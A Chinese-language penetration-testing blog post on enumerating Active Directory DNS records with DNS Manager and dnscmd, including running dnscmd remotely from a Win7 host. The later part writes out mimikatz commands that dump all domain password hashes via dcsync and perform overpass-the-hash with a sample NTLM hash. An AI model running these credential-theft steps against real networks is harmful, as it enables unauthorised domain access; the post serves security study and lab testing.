域渗透——DNS 记录的获取
0x00 前言
在域渗透中,对域环境的信息搜集很关键,如果我们获得了域内管理员的权限,那么如何能够快速了解域内的网络架构呢?DNS 记录无疑是一个很好的参考。
本文将要介绍在域渗透中,获得 DNS 管理员权限后,获取 DNS 记录的方法
0x01 简介
本文将要介绍以下内容:
- 通过 DNS Manager 获取 DNS 记录
- 通过 dnscmd 获取 DNS 记录
- 域内远程读取 DNS 记录的方法
0x02 通过 DNS Manager 获取 DNS 记录
测试系统:
Windows Server 2008 R2 x64
选择 Administrative Tools
-> DNS
在 Forward Lookup Zones
下找到当前域名,能够显示当前域内的 DNS 记录,包括主机名和对应的 IP
如下图
0x03 通过 dnscmd 获取 DNS 记录
dnscmd:
用来管理 DNS 服务器的命令行接口,支持远程连接
默认安装的系统:
- Windows Server 2003
- Windows Server 2008
- Windows Server 2003 R2
- Windows Server 2008 R2
- Windows Server 2012
- Windows Server 2003 with SP1
- ...
Win7 系统在使用时需要安装 Remote Server Administration Tools (RSAT)
RSAT 下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=7887
测试系统:
Windows Server 2008 R2 x64
常用命令:
(1) 列出 DNS 区域中当前节点的资源记录:
Dnscmd . /EnumZones
如下图
(2) 列出 test.com 的信息:
Dnscmd . /ZoneInfo test.com
如下图
(3) 列举 test.com 中的记录,方法 1(更详细):
Dnscmd . /ZonePrint test.com
如下图
(4) 列举 testc.com 的记录,方法 2:
Dnscmd . /EnumRecords test.com .
如下图
结果同 DNS Manager 获取的记录一致
0x04 域内远程读取 DNS 记录的方法
方法分析
前提需要获得域管理员的权限
第一种方法是先远程连接域控制器,然后在域控制器上执行 dnscmd 获取 DNS 记录
第二种方法是在域内一台主机上面,执行 dnscmd 远程读取 DNS 记录
但是 Win7 系统默认不支持 dnscmd,直接安装 Remote Server Administration Tools (RSAT) 也不现实
于是,我尝试寻找在未安装 Remote Server Administration Tools (RSAT) 的系统上执行 dnscmd 的方法
方法测试
向未安装 Remote Server Administration Tools (RSAT) 的 Win7 系统上复制一个 dnscmd.exe,直接执行,结果失败
解决方法
通过 Process Monitor 记录 dnscmd 的执行过程,查看缺少哪些文件
如下图
发现缺少文件 dnscmd.exe.mui
补全缺少的文件,再次测试,最终找到解决方法
在未安装 Remote Server Administration Tools (RSAT) 的系统上执行 dnscmd,需要满足以下条件:
- dnscmd 保存在路径
C:\Windows\System32
下 - dnscmd.exe.mui 保存在
C:\Windows\System32\en-US
下(该位置比较通用,也可以在其他位置)
注:dnscmd 和 dnscmd.exe.mui 使用 Windows Server 2008 R2 下的即可
这里提供一个测试文件(我从 Windows Server 2008 R2 下获得的):
- https://github.com/3gstudent/test/blob/master/dnscmd.exe
- https://github.com/3gstudent/test/blob/master/dnscmd.exe.mui
注:仅供测试
由于 dnscmd 在远程连接时,未提供输入用户名和口令的接口,这里需要借助 mimikatz 的 Overpass-the-hash
首先需要获得域管理员用户的 hash,这里只能用 ntlm/rc4/aes128/aes256
如果获得了域管理员用户的明文口令,可以先将明文转为 ntlm,在线加密的网站:
https://md5decrypt.net/en/Ntlm/
补充:使用 dcsync 获得域内所有用户 hash 的方法
域控制器上执行 mimikatz:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.local /all /csv exit"
实际测试
测试环境的参数如下:
- 域管理员用户:Administrator
- 口令:DomainAdmin456!
- hash:A55E0720F0041193632A58E007624B40
Overpass-the-hash:
mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40"
这样会弹出一个 cmd.exe
接着使用 dnscmd 远程连接进行查询:
Dnscmd WIN-F08C969D7FM.test.com /EnumZones
or
Dnscmd WIN-F08C969D7FM /EnumZones
注:这里要使用 FQDN 或者计算机名
如下图
如果想在命令行下实现整个流程,可以采用如下方法:
新建 c:\test\1.bat
,内容如下:
Dnscmd WIN-F08C969D7FM.test.com /EnumZones > c:\test\out.txt
Overpass-the-hash:
mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40 /run:\"cmd.exe /c c:\test\1.bat\""
注:cmd.exe 下 "
需要使用转义字符 \"
0x05 小结
本文介绍了在域内使用 Overpass-the-hash 实现 dnscmd 远程读取 DNS 记录的方法。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: 模拟可信目录的利用技巧扩展
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论